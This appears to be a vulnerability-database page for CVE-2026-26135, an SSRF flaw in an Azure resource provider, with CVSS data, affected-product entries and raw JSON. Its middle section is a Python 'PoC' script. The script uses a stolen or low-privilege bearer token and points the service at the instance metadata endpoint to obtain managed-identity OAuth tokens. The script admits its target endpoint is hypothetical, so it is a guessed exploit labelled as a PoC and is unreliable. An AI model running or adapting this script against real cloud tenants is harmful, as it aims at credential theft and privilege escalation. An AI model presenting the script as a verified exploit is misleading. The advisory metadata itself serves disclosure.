Security Vulnerability Report
中文
CVE-2026-26135 CVSS 9.6 CRITICAL

CVE-2026-26135

Published: 2026-04-03 00:16:04
Last Modified: 2026-04-06 17:51:16

Description

Server-side request forgery (ssrf) in Azure Custom Locations Resource Provider (RP) allows an authorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_custom_locations_resource_provider:-:*:*:*:*:*:*:* - VULNERABLE
Azure Custom Locations Resource Provider (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # This is a demonstration PoC for the SSRF vulnerability in Azure Custom Locations RP. # Attackers use a low-privilege token to send a malicious request containing an internal URL. # Target endpoint (Hypothetical based on the product name) target_url = "https://management.azure.com/subscriptions/{subscription_id}/resourceGroups/{rg}/providers/Microsoft.ExtendedLocation/customLocations/{location_name}?api-version=2021-08-31-preview" # Malicious internal URL (e.g., Azure Instance Metadata Service) # The goal is to force the RP to access this internal endpoint ssrf_payload = { "properties": { "hostResourceId": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.core.windows.net/" } } # Headers with a stolen or low-privilege bearer token headers = { "Authorization": "Bearer <LOW_PRIV_TOKEN>", "Content-Type": "application/json" } try: # Sending the malicious request response = requests.put(target_url, json=ssrf_payload, headers=headers) # Checking if the SSRF was triggered (e.g., by response time or leaked metadata) if response.status_code == 200 or response.status_code == 202: print("[+] Request sent successfully. Check for SSRF indicators.") print("[+] Response Body:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26135", "sourceIdentifier": "[email protected]", "published": "2026-04-03T00:16:04.353", "lastModified": "2026-04-06T17:51:15.783", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Azure Custom Locations Resource Provider (RP) allows an authorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_custom_locations_resource_provider:-:*:*:*:*:*:*:*", "matchCriteriaId": "D798F297-6C6B-4307-9E29-45C9788632D1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26135", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}